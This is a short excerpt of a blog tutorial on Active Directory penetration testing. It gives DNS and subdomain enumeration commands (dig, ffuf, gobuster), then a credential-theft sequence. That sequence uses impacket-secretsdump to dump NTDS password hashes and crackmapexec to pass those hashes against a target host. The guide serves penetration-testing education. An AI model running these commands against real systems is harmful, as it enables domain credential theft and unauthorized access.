Mastering Active Directory Pentesting: A Comprehensive Guide

<h1>Introduction</h1> <p>Microsoft&rsquo;s Active Directory (AD) is the backbone of Windows domain networks. AD penetration testing is critical for discovering and mitigating security threats. In this book, we&rsquo;ll look at several Active Directory penetration testing approaches, commands, and samples.</p> <h1>Enumeration</h1> <h1>From Outside</h1> <h2>Domain Controllers Discovery</h2> <p>To discover Domain Controllers using DNS:</p> <pre> dig @&lt;target-ip&gt; &lt;domain-name&gt; any</pre> <p><strong>Subdomain enumeration with&nbsp;</strong><code><strong>ffuf</strong></code><strong>:</strong></p> <pre> ffuf -u https://FUZZ.example.com -w subdomains.txt -mc 200,301,302,403</pre> <p><strong>Using&nbsp;</strong><code><strong>gobuster</strong></code><strong>&nbsp;for DNS:</strong></p> <pre> gobuster dns -d example.local -w subdomains.txt -t 25</pre> <h2>Dumping Password Hashes</h2> <p>Use&nbsp;<code>impacket-secretsdump</code>&nbsp;to extract password hashes:</p> <pre> impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL -outputfile hashes cut -d: -f3,4 hashes.ntds &gt; hashes.txt crackmapexec smb &lt;target-ip&gt; -u &lt;username&gt; -H hashes.txt</pre> <p><a href="https://blog.devgenius.io/mastering-active-directory-pentesting-a-comprehensive-guide-8c3a9cdad7ff"><strong>Website</strong></a></p>